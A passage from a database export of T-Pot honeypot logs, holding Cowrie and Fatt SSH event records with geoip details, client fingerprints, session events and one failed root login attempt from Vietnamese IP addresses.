"192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23584	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:42.112959+03	2021-09-20 14:15:07.694471+03	{"_id": "MAbjAnwBvYTbRNuE5Q7x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:40388 (192.168.176.2:22) [session: 8a79bc29cd27]", "session": "8a79bc29cd27", "@version": "1", "protocol": "ssh", "src_port": 40388, "dest_port": 22, "timestamp": "2021-09-20T11:07:42.112959Z", "@timestamp": "2021-09-20T11:07:42.112Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23585	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:41.866326+03	2021-09-20 14:15:07.695472+03	{"_id": "PgbjAnwBvYTbRNuE5Q7x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50834, "timestamp": "2021-09-20T11:07:41.866326", "@timestamp": "2021-09-20T11:07:41.866Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23586	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:41.576832+03	2021-09-20 14:15:07.696499+03	{"_id": "NQbjAnwBvYTbRNuE5Q7x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59918, "dest_port": 22, "timestamp": "2021-09-20T11:07:41.576832", "@timestamp": "2021-09-20T11:07:41.576Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23587	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:42.115309+03	2021-09-20 14:15:07.6985+03	{"_id": "NgbjAnwBvYTbRNuE5Q7x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8a79bc29cd27", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:42.115309Z", "@timestamp": "2021-09-20T11:07:42.115Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23588	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:42.243572+03	2021-09-20 14:15:07.699501+03	{"_id": "NwbjAnwBvYTbRNuE5Q7x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d6ad7ec06fcd", "@version": "1", "timestamp": "2021-09-20T11:07:42.243572Z", "@timestamp": "2021-09-20T11:07:42.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23589	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:42.130286+03	2021-09-20 14:15:07.7005+03	{"_id": "QgbjAnwBvYTbRNuE5Q7x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "789372657a4e", "@version": "1", "duration": 2.510385036468506, "timestamp": "2021-09-20T11:07:42.130286Z", "@timestamp": "2021-09-20T11:07:42.130Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23590	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:42.138487+03	2021-09-20 14:15:07.70147+03	{"_id": "QwbjAnwBvYTbRNuE5Q7x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/linux] failed", "session": "6737c28d71b9", "@version": "1", "password": "linux", "username": "root", "timestamp": "2021-09-20T11:07:42.138487Z", "@timestamp": "2021-09-20T11:07:42.138Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23591	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:41.967599+03	2021-09-20 14:15:07.702504+03	{"_id": "TAbjAnwBvYTbRNuE5Q7z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 6754, "timestamp": "2021-09-20T11:07:41.967599", "@timestamp": "2021-09-20T11:07:41.967Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23592	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:41.249432+03	2021-09-20 14:15:07.704501+03	{"_id": "VgbjAnwBvYTbRNuE5Q7z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 56336, "dest_port": 22, "timestamp": "2021-09-20T11:07:41.249432", "@timestamp": "2021-09-20T11:07:41.249Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23593	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:07:41.884323+03	2021-09-20 14:15:07.7055+03	{"_id": "VwbjAnwBvYTbRNuE5Q7z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": 